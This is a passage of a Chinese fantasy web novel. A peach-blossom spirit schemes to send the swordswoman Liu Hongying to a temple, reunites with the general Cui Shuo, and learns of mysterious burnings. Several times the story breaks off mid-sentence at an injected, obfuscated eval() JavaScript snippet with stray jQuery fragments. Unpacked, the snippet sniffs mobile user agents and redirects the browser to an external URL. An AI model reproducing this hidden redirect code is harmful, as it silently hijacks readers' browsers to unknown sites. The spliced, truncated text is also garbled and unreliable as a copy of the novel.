少男直起腰摸了摸鼻子,不知为何有些心虚的样子,在对上她疑问的目光时又低头一笑,仿若有春花开在他的唇角,“这是我长姐,柳鸿影。上次见面忘了与你说。”说着,转头目光期待地看向隔了一张桌台,垂眸翻阅书籍的女人。 柳鸿影没有任何反应,低头不语。 “柳?”托柳精的福,桃花精对“柳”这个姓氏十分敏感。 “嗯!”方花零以为她在疑惑姐弟俩姓氏怎么不同,贴心解释:“长姐随母亲姓,我母亲与崔府的柳夫人是表姐妹。” “不是。”寡言的女子陡然出声,语调冷淡:“只是柳氏旁支的女儿,远够不上柳家嫡出的大小姐,算不得表姐妹。” 这话实在难接,饶是一向能言善道的方花零都窘迫起来,目光在柳鸿影与桃花精之前来回移动。 桃花精勾唇一笑,抬手敲了敲桌子,张口还未发音,便被女人快速打断:“今日不接客。” “那你还开门。” 柳鸿影翻书的动作定住,掀起眼皮悠悠抽了她一眼,又若无其事收回,放下书页,“你可以带着那家伙关门出去。” “好嘞!”她笑着应下,拽着方花零脖子上的项圈,毫不拖泥带水将人扔出去,随后关门落锁。 女人终于有了大的反应,合上书,起身,反手从背后掏出一把短刀,双手握住朝向桃花精,眼神淡淡的,声音却多了几分趣味:“战吧。” 桃花精才不应,笑嘻嘻绕过前台亲昵地挽住女人的长臂,强硬拽着她的胳膊放下,仰头笑容天真:“你在瞧什么书?” 柳鸿影不语,另一只手食指曲起,与大拇指一起夹住刀柄,侧着刀身拍了拍女孩的头顶,“想做什么?” 桃花精才不怕,见女人不回答,直接伸手去拿桌上的书,不等触及就被按住手腕。 “啊!”她大叫起来,“松手松手!好疼啊!手腕要断了!” 柳鸿影像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187548|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到极有意思的事,蓦地笑了,是与上一次见面看热闹时全然不同的笑意,带着高傲者的审视,“你倒知道疼,既然知道会疼还敢来招惹我?” 桃花精立马瞪大眼,一副听到怪事般的表情,“招惹!?我是想与你交个朋友,怎么到你口里就是招惹了,这也太让人伤心了。”说着,她趁女人没反应过来直接上手夺走书,一溜烟躲的老远。 然后将书高高举起,仰头发出夸张的哇声:“哇!是军书诶!好厉害!” 柳鸿烟走过来,笑着从她手里抽出书,倒过去再反过来,而后插回女孩还保持着张开的手中,薄唇微启:“北国玉石之宫廷篇。” “啊?” “书名。” 桃花精不可置信,桃花精脸贴近书本看......看看看,桃花精看不懂。 柳鸿烟抬了抬下巴,声音终于含了浅浅的笑意,不过桃花精觉得更多的是嘲笑,“翻开看看。” 她不自在地抿了抿唇,轻咳一声背过身低头赶紧翻书,里面全是她看不懂的文字,不过却有许多图画,多是一些玉饰纹样。 ......还真是北什么玉什么书。 这这这这怎么办!!! 桃花精第一次遇到这种情况,果然她就不该用那破手指头成天算来算去,这下可好了,算错了吧!说到底还是不能太依赖妖精的推演之术啊,她也真是的!自己几斤几两还不知道么,非得逞强去算这么大的事,早知道应该偷偷摸摸去柳精那打探消息的! 柳鸿烟斜倚着墙,抱臂静静看着女孩僵硬的背影,轻笑,上前一步站在女孩身后,左手扶着她的脊背,右手绕过她的肩膀指着书中字迹,“随波玉,乃天地之灵秀,水泽之精华也,生于幽涧深潭,长于清溪碧波,其色晶莹剔透,映日生辉,其质坚而不脆,柔而不弱,历千年水磨,终成瑰宝。” 桃花精一个字也没听懂。 女人低下头,逐渐靠近她的耳畔,原本从容随和的嗓音倏而变得尖利,宛如那把锋锐的宝刀,直直劈入她耳中:“这是北国的文字,你从哪看出来军书两个字了?” 桃花精一个字也看不懂,但这不妨碍她的计划,她当即丢开书,转身一下子捧住女人满是厚茧的双手,笑语吟吟:“其实那啥,我是方花零的知己好友,想拜托姐姐帮个忙。” “哦?是吗?”柳鸿烟眼底浮现了然,笑了,只是神色却不见得因为这话有任何好转,“我确实常听那孩子提起你。” 桃花精可没功夫管仅仅与自己见过寥寥几面的方花零提起自己有什么好说的,闻言很是惊喜地快速说:“是吧是吧!我和他可是很好的朋友哦,所以才想要拜托姐姐一件事情,就是那个啊对!我是个胆子特别小的人!但是又特别仰慕在外征战沙场的崔将军,听闻城北花神庙是个祈愿的好地方,只要往花神庙的井口里扔进去一块玉,伟大的花神大人就会实现扔玉者一个愿望!但是姐姐也知道那里有好多坏人我超害怕的,因此想麻烦姐姐代我走一遭——” 柳鸿烟打断:“哦,那你不用担心,崔朔已经回京了。” “诶?”桃花精眨眨眼:“诶——!?” “还有。”女人面无表情抽回手,“我看起来很蠢吗?那么拙劣......”她甚至不愿称之为谎言,“你是蠢货吧。” 35. 第 35 章 ............ 好吧。 桃花精拍拍脸让自己打起精神,长出一口气,决定当做没有听到这句话。 她不愿白来一趟,被拒绝了也不气馁,鼓起勇气还想要继续说些什么,柳鸿烟却是不再配合了。 女人拉开门让一直蹲在门口的漂亮少男进来,然后隔着老远扔给桃花精一只玉钗,“你们俩出去玩吧,别赖在我这里耽误事了。” 她手忙脚乱接住发钗,随便往头上一插就大步上前凑近女人,不依不饶:“什么事?你有什么要紧事都能交给我来做,现在你立刻马上去花神庙!” “花神庙?”方花零自进来起目光就一直粘在玉钗上,此刻说话时也是盯着女孩的发顶,“那里可乱的很,怎么要去那了?不过听说城北那一片前段时间交给陶大人管理了,我虽不了解却也听人提起过,陶大人给城北的乞丐们都找了新的活计干,好像是翻修屋舍。” 柳鸿烟推搡女孩的动作一顿,“陶大人?” “是啊。”少男微微一笑,他面对长姐时乖巧有礼,完全不见平日里趾高气昂的模样,“就是原先侍奉在太后娘娘身边的侍女,她前不久被柳相封了个小官,据说因为这件事太后娘娘发了好大的火呢。” 桃花精大声嚷嚷起来:“我不管!反正崔朔以后还会上战场的,我就是要为他祈福嘛!求求你了柳姐姐,你就帮帮我吧,我真的不敢去那里呀,要是你不帮我那我真不知道该怎么办了!” 女孩活了近三百年,还是头一回品尝到被人再三拒绝的滋味,一时情急讲出的话语是她自己都意识不到的蛮横。 柳鸿烟被她理所当然的语气气到,一把推开,方花零连忙过去接住踉跄着往后倒去的女孩,劝和:“长姐,小桃她不是那个意思,今日都是我不好,不该来打扰长姐的,那我先带小桃出去,改日再来向你赔罪。” 说着,便好言好语哄着同样气得不行的女孩赶紧出去。 “她干嘛啊!”桃花精不敢踢上紧闭的门,原地转了两圈最后一脚踢上旁边的石柱子,发出咚的一声大响。 方花零听着都觉得肉疼,蹲地上捧着她的脚就要查看,被女孩躲开。 桃花精一把拽着少男的领口将他提起来,威胁:“你!不是柳鸿烟的弟弟吗,现在就赶紧给我想办法让她去花神庙去!” “花神庙?”方花零很想问问女孩怎么会认识崔朔,此刻被逼问起来简直一个头两个大,不动声色朝两边候着的男仆们使了个眼色,一群人立刻拍拍站将两人挡了个严实。他无可奈何扒拉住女孩的手腕,也不敢用力将她的手拿开,为难:“去那里做什么呀小桃,不行的不行的,长姐这些天正在为姑母的事情焦头烂额,心情本就不好,咱们这时候去说她不仅不会听,指不定还会生气。” 他不想让自己显得太过无能,只好绞尽脑汁想法子:“小桃原来与崔朔认识么?小桃是想去花神庙为崔朔祈福吧,我虽然进不去可也能找家里的侍卫去帮忙投玉,这件事就交由我来办好么?你不用着急。” 桃花精怎么能不急! 重要的从来不是柳玉珍那突然归家的孩子,而是柳鸿影啊!眼看如今柳精风头愈盛,她得赶紧想办法往太后那里多塞点人,如此才不至于叫一个妖精主持天下。 崔朔现如今是柳精手里一把好剑,帮她开疆拓土,巩固统治,有柳玉珍这个中间人做桥梁,柳精恐怕还有个八九年不会放弃崔朔。 而太后除了刚刚坐稳位置那段时间有还是太傅的柳精帮助,其后就一直被困在宰相的羽翼下不得脱身,任凭她如何挣扎也不过是无用功,如今还不得不送出心爱的侍女为柳精做事。 柳精以身入局谋划天理之外的事,凭借她上万年的修为或许最后真能够完美脱身,可桃花精无法保证这一点。 别说亲自下入泥潭淌浑水了,桃花精尚且自顾不暇,连系以此身的桃花谷都得麻烦别的种族妖精帮忙照看,哪里有半分可能走进这团道不尽、理不清的因缘果报之中呢? 因此她能做的就只有成为一个执棋人与柳精博弈,不同的是,柳精能够随意出入棋盘,轻而易举便能把局势搅出翻天覆地的变化,可她却只能费尽心机搜寻还不完整的棋子,步步为营与其对峙。 而目前为止,桃花精所找到的最好一枚棋子,便是太后。 早在刚刚离开小世界,来到首饰店与柳鸿烟初相见时,她就已隐隐察觉出来女人天生所带的将星之象,假如象国真的能有人取代十五岁便征战沙场,屡战屡胜的少年将军崔朔,那么一定是柳鸿影。 桃花精必须想办法把柳鸿影引到太后身边去。 “小桃?” 方花零连连喊了好几声,她才从杂乱的思绪里抽回注意力,摇了摇脑袋,问他:“什么事?” 少男很担忧的样子,看向她的眼神里多了难得的认真:“小桃,别忘了我们是朋友,你若有什么难处了可尽管与我讲,我一定尽力帮你解决。” 桃花精不明白他为什么要这样说,明明两人也只是第三次见面,她还每次都要对他灌输一通谎话。 她突然觉得有点累,跟凡人打交道真是累,完全搞不懂他们在想什么,明明自己已经很努力在推演了,可是真正接触时还是会有许多意料不到的事情发生。 她能有什么难处呢?不过是没能把柳鸿影拐到花神庙里去,这个她刚才就已经与方花零说过了,可少男不是也说没办法做到吗,此刻又来假惺惺问什么呢...... 桃花精猛地咬住舌头,强迫自己冷静下来,她双手捂着头满脸不可置信,没想到自己竟然冒出这种以恶意来揣测别人的想法,她怎么能这么想呢?分明方花零也是在关心她,他只是个凡人,能力有限,她不能对他要求太高。 那一闪而过的怨毒的念头令桃花精坐立难安,她久违地感到害怕,咬着手指来回踱步,不敢相信她竟然变成了这样的人。 她越想越害怕,越想越羞愧,妖精本该是世间极纯净的生灵,不该有没必要的爱与善心,更不能有恨与恶!况且、况且这一定是陶丽绾不想看到的,假如陶丽绾知道了她这样揣测别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191087|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一定会很失望的。 桃花精拍拍脸,一遍又一遍在心里大声告诉自己冷静下来,千万不能被在柳鸿影这里遇到的一小点挫折打倒,不能乱了分寸,不能由此生怨。 勿生怨。 她猛然转身,闭紧眼睛,双手合十,面朝方花零大声喊:“抱歉!” 女孩这一嗓子吼得身后的店面都震三震。 方花零措不及防望着满脸羞愧的女孩,一时竟直接愣在原地没有反应过来。 只见女孩说完后就立刻睁开清亮的眸子,两只手握成拳头对着捶了捶,然后又转回身直接对着关闭的店门一个深鞠躬:“对不起柳姐姐!方才是我太过无礼了,冒犯到你真的很抱歉,对不起!我知道自己做了傻事你现在肯定不想见我,可我是真的有很重要很重要的事情要与你说,三日后我会带上名玉来向你赔礼道歉,还望到时候姐姐能给个机会,再听我一言!那今日我就先不打扰姐姐了,姐姐好好休息!” 语气恭恭敬敬,万分诚恳。 屋子里静悄悄的没有任何动静,但意思清楚明白传达过去就行,桃花精觉得不只是对柳鸿影说这些话,她也真的该找块石壁对女娲娘娘面壁思过了,她这段时日以来过分放松了,竟都忘了女娲娘娘的教诲。 还有陶丽绾,她有些想念陶丽绾了。 等等—— 意识到自己内心真实想法的桃花精大震惊,与同样惊掉下巴的方花零面面相觑。 不是啊!她她她她她刚才在心里说了什么来着?想陶丽绾!?不不不,这怎么能行呢,这不对啊!她应该讨厌陶丽绾才对!陶丽绾可是害的整个桃花一族几乎灭绝罪魁祸首,她怎么能想念她!这绝对不行! 这才是真正要羞愧的啊! “小桃,你......” “方花零,我们走!” ——两人齐齐出声。 神情恍惚,目光却死死定在她脸上的少男率先道:“小桃先说!” 桃花精不明所以挠挠头,“我说咱们走啊。” 少男像是没听到她说话般,仍旧第一次认识她一样目不转睛盯着她看,在桃花精对着他眼前挥了挥手时才骤然收回灼灼的视线,后知后觉反应过来自己方才的举动,立马道歉:“抱歉小桃姑娘,我失礼了。” “没事没事啊。”桃花精笑了,“怎么我才跟你说完对不起,你就又开始朝我道歉了。”她笑容真挚,显然是发自内心地话:“你与我相处时大可以放松一点,我其实也不懂你们那些礼啊啥的,我不在乎,真的。” 女孩笑的一瞬间,呆立的少男也忽而笑了,凝固的眸子刹那间溢满温柔,与方才一样是眨也不舍得眨眼地盯着她,可其中就是多了很多说不清道不明的情绪,“嗯,好。”他一字一句说:“我知道小桃姑娘是很好的人,虽然只是第三次见面,但其实我已经在心里感激女娲娘娘无数次了,感谢上苍让我结识到小桃姑娘。” 凡人口中的女娲娘娘与妖精认知里的女娲娘娘完全是两模两样,桃花精干笑两声没有说话,拉着他走了。 36. 第 36 章 桃花精没有立刻带着方花零去找崔朔,而是先和他找了一家隐蔽的茶馆坐下,她本身对满嘴苦味的茶没有任何兴趣,但是见凡人们谈正事都要如此做,便也有样学样了。 方花零的一众仆从被他驱散,没了家里人跟着他似乎有些不安,面对她的笑容里都多了几分勉强,话也更加多了,大概是想要以此来排解内心的忐忑。 他一路上都叽叽喳喳说个不停,多半都是讲自己家里的事情。他与郑烨不同,是个家庭美满,备受宠爱的孩子,说起这些时脸上是怎么也藏不住的期待,洋溢着希望的光辉。 桃花精对此颇感兴趣,话没听进去多少,频频看向他好看的面容,每当他说出自己家中如何显赫时就会用一种饱含期望的眼神瞥她一眼,自以为不动声色,可是对于一直仔细观察的桃花精而言却看得很清楚。 直到有一次两人对上视线,少男噌一下红了脸,结结巴巴:“啊抱歉,对着女孩说这些太没礼貌了。” 她没听,因而也没什么感觉,不过想象了一下假如有人拉着自己讲一堆自己的事情的话,她确实会不耐烦,但是话又说回来,如果是从前还在妖界时有妖精愿意给她说一些自己的故事,她一定会高兴地几天几夜在在树上蹦跶。 “没事。”她没有对此作评价,少男看上去很为自己的自以为是感到不好意思,之后到了茶馆里就安静的出奇,不是给她沏茶就是招呼店小二奉上各种时兴的糕点。 虽然知道方花零是个花钱大手大脚的富贵公子哥,并且桃花精自己也挺有钱的,可是看着他这样糟蹋还是于心不忍,出言阻止:“我们又吃不完,该浪费了。” 盛阳下,少男走了一路,脸蛋红扑扑的,闻言立刻止住吩咐,又开始慌忙道歉了。 这家伙今日奇怪的很,在她跟前过分的小心了,就好像她是多么可怕的人一样,也不知是她今日说了什么话做了什么事,叫他如此胆战心惊。 念在是柳鸿影弟弟的份上,桃花精有心安慰几句,却在此时见到一个熟悉的人走进来。 此人身着玄色劲装,腰佩长剑,脚踏凌云靴,慢步走进来时英姿飒爽,气势非凡。他生的一张俊美姿容,皮貌骨相都是极为出挑的,浓眉横扫竟有鹰撮霆击之势,目若寒潭,鼻若玉峰,薄唇冷淡地压下,令人闻风丧胆。 这是......崔朔? 桃花精震惊,久久望着他无法移目光,记忆里的男人是哪怕着一身黑铁甲胄也依然清隽雅致的模样,时至今日她仍旧记得那天陵园匆匆一见时的惊艳,虽然令人交流不多,可她打心底里认为这个人使自己在凡世间为数不多的好友。 隐隐约约听到身后有两位小姐议论纷纷,无不是感叹曾经惊才绝艳的少年将军竟然变成了如今的冷面煞神。 很突然地,她回忆起郑烨曾经对自己说过的一句话: “叔祖父生前很喜欢桃花,朝中大部分重臣府院里都种有桃木的。” 那是她为调查甜糕一事,于夜半时分带小皇帝潜入崔府,发觉柳玉珍院子里也种着一株桃木后男孩说的话,他这样解释曾经的崔相院中也种了桃木之事,那时候她想着陶丽绾,草草听过便也忘了。 如今猛然忆起,也不知道郑烨说的是真话还是谎言。 毕竟她顺着桃木的气息寻找过去,进入的是崔朔的院子。况且郑烨一个大门不出二门不迈的六岁小儿,怎么会知道这种事。 桃花精也没想到自己竟然一下子反应过来这么多事,她其实是有些迟钝的性子——陶丽绾与黄鼠狼精都这么说过,往往是认识了许多人,发生了许多事,她在这些上却是呆呆愣愣的没有什么真情实感。可是这些大大小小的事无论时过境迁,一直都是牢牢扎根钉在她心底的。 那些过往的记忆就像是许多颗埋藏在她心中的种子,只等待源源不断的情感化作甘露流淌其中,滋润心田,培育种子,使其生根发芽。 很多事情,很多人,很多情感,她都是后知后觉去学着理解的。 就好比已经死去了的、对她很好的郑岚。 想起郑岚,桃花精下意识捏紧了手中的杯盏,不想没注意控制力道,“咔嚓”一声响,杯具竟直接碎裂开来。 在因为崔朔的进入而寂静无声的茶馆内,这道短促的声响实在突兀,令一众人侧头看向源头。 崔朔也不例外。 方花零猛地从凳子上蹦起来,捧住桃花精的手边吹吹便叫出来:“啊呀,小桃你没事吧?疼不疼?快让我检查检查有没有碎片进手里。” 桃花精坐着,被站着的少男抓住手,尽管少男已经最大程度上弯下了腰,她仍旧不等不略微仰头,身子倾向一边的少男。 她皮糙肉厚,没什么事,刚想抽回手,几乎是在同一时间,另一边的胳膊便被一只粗糙的大手给握住了。 “陶姑娘!”崔朔满脸不可置信望着眼前讶异扭回头看过来的女孩,瞳孔剧烈震颤,嘴巴张了半天,喉结滚动,无法再吐出一个字。 方花零确认了女孩没有受伤后终于松了一口气,注意到另一边的崔朔后,圆圆的眼睛瞬间沉下来,转了转,不动声色绕到另一边隔开男人,单膝跪地,捧起她另一只手在眼前细细查看。 女孩面色不自然地撇过了头,她眨眨眼,又低眸刻意去看蹲在地上的少男,总之就是不愿意看被方花零推开的男人。 她低头时,那缕垂在脑后的头发跟随着主人的动作晃了两下,崔朔只是深深凝望着那一缕属于她的发丝,仅仅一瞬就克制地收回了视线,敛眉不语。 桃花精不愿被这么多人瞧着,捏了捏方花零的小指,少男便会意,以半拥的姿态阻隔众人视线,护着她前往楼上的包间。 崔朔则是亦步亦趋跟在二人身后,反手关了门,继续向前的步子陡然顿住,而后猛地转身面向紧闭的房门。 方花零余光扫过男人的动作,在女孩坐下后犹豫片刻,还是开口说道:“我与小桃是清白关系,表兄莫要误会。” “误会?”桃花精疑问:“误会什么?” 方花零一噎,面对女孩单纯不含一丝杂质的视线,顿时为自己先前的小心机感到羞愧,扭捏着不知如何作答,崔朔在此时上前来,抱拳行了个礼:“陶姑娘。” 桃花精心想自己在凡间待了那么多年,怎么与人打交道的能力还下降了呢,暗暗给自己打了个气,转头正视男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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桃花精不认为在小世界的六年是一段悠久的岁月,但是对于男人而言显然不是这样。她一时间分辨不清崔朔对待自己是何感情,究竟是旧友还是奇怪的陌生人。 似是察觉出来她的心思,男人眼角染上笑意,走近了些许,但还是与她保留些距离,薄唇轻启,嗓音温厚:“好久不见,陶姑娘。” 方花零永远挂在嘴边的悠悠浅笑逐渐消失,他眼神晦暗地看了一眼崔朔,心中既惊讶又觉得讽刺,他这个表兄少年时期就一副生人勿近的模样,成日里冷着张脸能吓跑离他二里地远的人,前年回京过一回,更是吓得他祖父当场说不出话来,没想到还有笑成个傻子的时候。 呵,同样是男人,他如何看不透崔朔对小桃姑娘的心思,真是厚颜无耻,都二十多岁的人了怎么还有脸往小桃姑娘身边凑? 他心下鄙夷,眼底直白的恶意更是藏也藏不住。 而崔朔眼里心里却只有思念多年终于得见的女孩,哪里会注意到一旁醋意满天飞方花零,没人知道他是如何度过这六年来的大漠风沙的,也无人得知每个冰冷刺骨的夜晚,他到底是想着什么才熬了过来。 六年前不告而别——甚至称得上突然消失在这世间的女孩忽然出现在自己面前,饶是向来果敢狠厉的男人也不禁开始犹豫不决,惶惶不安,怕此次一见还是大梦一场,更怕女孩早已经忘记自己。 所幸她还记得他。 37. 第 37 章 桃花精很高兴能见到崔朔,一是免得她再潜入崔府找人,而是偶遇旧友实在是一件值得开心的事。 她兴冲冲拉着男人坐下,问他近来如何,与北国的战事又是怎么样,宰相柳玉冷对他可有什么特别吩咐。 崔朔凌厉的眉眼笑意盈盈,原本十分具有攻击力的的长相于此刻变得安顺,不过假如换了旁的人从旁的角度去看,这位将军依然像是只凶狠的恶狼,只有面对桃花精时才会展现自己无害的一面。 桃花精喜欢和他相处不是没有原因的,无论是六年前还是如今,崔朔始终有一颗坚定强大的心,他从来不会像郑烨亦或者方花零那样面对她时诚惶诚恐,也不会与黄鼠狼精跟郑岚那样总是说一些奇怪的话。 他们相处起来就像是凡间最普通的朋友,或许能够相谈的话语并不多,可是在平静祥和的相处中,彼此都能够轻而易举明白对方的心意。 崔朔是罕见地不会叫桃花精觉得自己言行举止间需要多去注意的人,他们的相识无关乎任何因果,仅仅是一场最普通不过的偶遇。她不欠他什么,他也无需对她承担什么责任。 上一个让桃花精相处起来如此自在地还是陶丽绾的婢女,椿璇。 比起让她又爱又恨的陶丽绾,那个从小服侍在陶丽绾身侧的婢女,与她关系要更好一些。 因为椿璇也很讨厌陶丽绾。 据说椿璇原本是该去陶家大公子房里侍奉的,是那时候还是个小孩子的陶丽绾见到她心中很是欢喜,便将她给要了来。椿璇总是说自己应该是做夫人的命,结果却被陶丽绾给毁了,硬生生成了一辈子的奴婢。 陶丽绾幼年时不知道这个贴身婢女为何如此厌恶自己,直到长大后听明白缘由,才愧疚不已,常常把自己的东西分给椿璇使用,对待她就像是亲妹妹一样好。 而椿璇也不出意外,在好脾气小姐的无底线纵容下养成了骄纵的性子,整日里目中无人,心比天高,跟着小姐读了几年书便梦想走出去考试做官。被告知不能如此后更是怨气满怀,开始觉得是身为状元郎、又做了宰相的陶家大公子抢走了自己的气运,最后做出谋害一国宰相的事。 到最后陶丽绾不得不带着椿璇像两只老鼠一样四处躲避,过起了很长一段时间连乞丐都不如的日子。 还是桃花精诞生后来凡间找到她们,这对可怜的主仆才终于结束了到处奔波求生的苦日子。 想到这里,桃花精幽幽叹了口气,正在说边关战事的崔朔停下,侧头看向托着下巴不知道在想什么的女孩,微微一笑:“是不是很无趣?” 坐在另一边的方花零给自己和女孩分别倒了杯水,轻哼,语气酸溜溜的:“怎么会无趣呢,表兄为国征战,我与小桃姑娘都听的热血沸腾呢。” “呃......”虽然桃花精也没有认真听,但她起码听了,默默举起手:“咱们好像一直打败仗来着......” 方花零一噎,眨眨眼,突然清咳了两声,“啊对,听的我都热血沸腾想要亲自披甲上阵了。” 崔朔冷冷瞥了他一眼,他面无表情时很吓人,可在转头再次看向女孩时又刹那间展露春花般的笑颜,“陶姑娘呢?这些年可还好?” 桃花精回想了一下,含糊过去:“就那样吧。”她特意解释:“我没觉得无趣,刚才是突然想到了一个人,和你......和你不像,但是我喜欢和你们相处。崔朔,你是个正常人,你一定要一直这么正常下去。” 这话说的,要是放在不熟悉的人耳朵里还以为是阴阳怪气,可既然是崔朔与方花零,就很清楚明白女孩此言乃是真心实意的祝福。崔朔兴趣盎然:“那是个怎样的人?我倒是很好奇。” 刀光剑影的狠厉没有在他——至少在她眼里的他身上留下任何痕迹,六年的风霜洗刷净了他的青涩,属于青年人的成熟气韵使他笑起来时有种别样的性感。 桃花精摇摇头没有说话,于是男人很自然地转移了话题:“也不知方公子与陶姑娘是如何认识的?” 他叫他表兄,他叫他方公子。 方花零浑不在意,卷了卷鬓边一缕发,勾唇一笑,圆溜溜的眼睛闪烁着可爱的光芒,像一只精明的猫,“说起我与小桃的初相识,那可真是跟戏本子里演的一样呢~那日啊,我与小桃姑娘选定了同一块玉,长姐做事不讲亲近远疏,全凭公平二字。因是小桃姑娘先来的,长姐就把那块玉卖给小桃,但我们家里急着送玉给宰相大人做官印,就——” “你说什么?”桃花精骤然出声,打断少男甜蜜的回想,不可置信:“那玉不是买给方亦寒的吗?”明明她那天都算好了,还推演了许多遍玉会到方亦寒手上,怎么又跑到了柳精那? 少男被她这一嗓子给吼懵了,呆呆放下手,局促不安:“小桃怎么知道玉是买给姑母的?”见女孩面色更怒,他连忙补充:“宰相大人对我姑母多有提携,家中为了感恩宰相大人,就想要挑一块好玉,让姑母做成官印赠与宰相大人。” 桃花精哑然许久,崔朔见状主动替她解释:“方大人手雕官印的美谈京城里都传开了,陶姑娘听说这件事也不奇怪。” 听到这话,方花零脸上的疑虑才尽数消失,他不安疑问:“可是有什么问题么?” 桃花精抿唇,深深看了一眼紧张的少男,扶额叹气,“没问题,是我的问题,是我太懒了!”她想通过这块玉与方花零以及他的姑母方亦寒建立因果联系,没想到引子兜兜转转还是去了柳精那里。 倒不是说有多大的问题,只是她现在分不清楚这到底是上天的安排还是有人暗中操控。实际上就算真的有人操控一切,那也不是暗中了,毕竟除了柳精再没有旁的人有如此能耐。 不过这一回桃花精更愿意相信真的是巧合,方亦寒被柳精提拔到了鸿胪寺卿的位置郑烨当天就与她说过,如此想想也顺理成章。 她喝了一口茶压压心神,突然福至心灵想起少男先前在首饰店门口说的话,“你之前说,柳鸿影最近很忙碌?她在做些什么?” 方花零很是为难地摇摇头,“这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朝廷对此的解释是北国间细潜入京城,潜伏在鸿胪寺卿辖下的仓库,趁夜偷走军资,可能已经将物资送往帝国。 倘若象国真的混进了有如此能耐的间细,那么就说明,在象国这片丰饶的土地上,北国间细已经无处不在了。 刚刚上任的鸿胪寺卿显然无法凭借自己的力量解决此事,只能速速找回与北国打交道最多的崔朔来协助处理。并且诡异的地方除了突然消失的军资,还有边境线上的士兵们。 崔朔沉声:“那几个斥候与其余士兵们消失的地方,也都留下了黑色焦土,假如是杀人放火,又何必只杀那几个人呢?” 方花零听的胆战心惊,他自小无忧无虑长大,也一直认为凭借自己的家世一定能过一辈子轻松富贵的日子,可如今听崔朔一言,才知晓原来国家已然危在旦夕了。 他知道象国与北国战事不断,可万万没想到象国竟然没有丝毫反抗之力了。 “不是杀人放火。”桃花精面色沉着,冷静分析:“不是人为。” “......什么?”方花零惊吓,小脸都白了,“小、小桃,不是人为......是什么意思啊?” 桃花精没有回应他,与崔朔相视一眼,都从彼此眼中看到了答案。 是妖。 38. 第 38 章 如此强度的灼烧显然不是人为,而在听完崔朔的讲述后桃花精有心去算,竟然什么都推演不出来,很明显是有更强大的妖精在刻意阻拦。 而且观柳精上心的程度也不像是她所为,她虽然疯疯癫癫的可至少不会做有损于象国的事,只是这种连桃花精都能意识到的事情,她不信柳精不清楚。那么柳精还要将这件事交给方亦寒与崔朔两个凡人去办,要么是有心历练方亦寒,要么是算准了她会插手进来,历练的是她。 虽然那晚否定了猫妖口中关于自己的传闻,可桃花精还是不由得放在了心上,后来也几番调查过,果然如少男所言,她这个在妖精群里格格不入的废物竟还真是另一众妖兽艳羡不已的天道宠儿。 当然天道宠儿这样的称呼她实在不敢当,她不过是个平平凡凡的小妖精,妖生最不平凡的一件事就是摊上了上一代桃花精这个意气用事的祖宗。妖精们一向看不起妖兽,在大多数妖精眼中,品种低劣的妖兽还比不过草丛里一只蚂蚱,但这不能否认会有过分敏感的妖精会把妖兽的污言秽语放在心中。 柳精是目前存活于世的妖精里活的最久的那个,传说她曾经在女娲娘娘身边侍奉过一段时间,后来因为犯了错被女娲娘娘赶去了凡间,就一直留在这里没有再回去过妖界。想来她应该是接触过许多凡人与妖兽的。 譬如柳精这样资历深厚的妖精应该是筹谋如何羽化登仙了,可是女人却只是不紧不慢地体验着所谓的人间百态,甚至如今还来朝廷里做起了宰相。 她猜测女人或许是从前被女娲娘娘打击到,后来一直待在凡间听说了妖兽们不着调的故事,误认为女娲娘娘喜爱自己,于是把怒气迁怒到了她的身上。 不过在猜想中这也只是一小部分的原因,她可不认为柳精是如此幼稚的人,说不定女人如今所作所为还有一部分上一代桃花精的缘故。柳精显然是与上一代桃花精相识的,至于是旧友还是仇人她就不得而知了,或许还与陶丽绾认识? 假如柳精真的与陶丽绾认识,依照陶丽绾蛊惑妖心的能力,参考一下上一代桃花精末期的疯狂模样,把柳精现在的疯子行径归因于此也无可厚非。 不管柳精对此事撒手不管的目的是方亦寒还是她,她都会主动出击去调查个清楚。以前她能避则避,现在是真心没所谓了,比起迷迷糊糊安分守己过完一事无成的妖生,她宁愿被柳精耍出个漂亮花样来。 她倒要看看最后究竟是谁先坚持不住放弃最初的本真。 桃花精对方花零说:“劳烦你回去告诉柳鸿影一声,方亦寒的困局我会为她破解,待事毕还请她代我跑一趟花神庙。” 方花零垂下了眼睫,修长纤细的手指头不停摆弄袖口,扭捏了好一会才闷声道:“小桃原来与表兄关系那么好啊,为了祈福保佑表兄平安还要去淌这一趟浑水,小桃莫不是、莫不是......” 他最后还是自己先忍不住了没有说下去,他实在害怕从女孩口中听到是的答案,只能把难以言说的少男心事转化为幼稚的怨气,全部撒到崔朔身上:“表兄也真是,平白叫小桃担忧,听说柳夫人前段时间还在为你相看京城里合适的小姐,既然有心娶妻就不要再与小桃过从甚密了,你这样又置小桃于何种境地呢?” 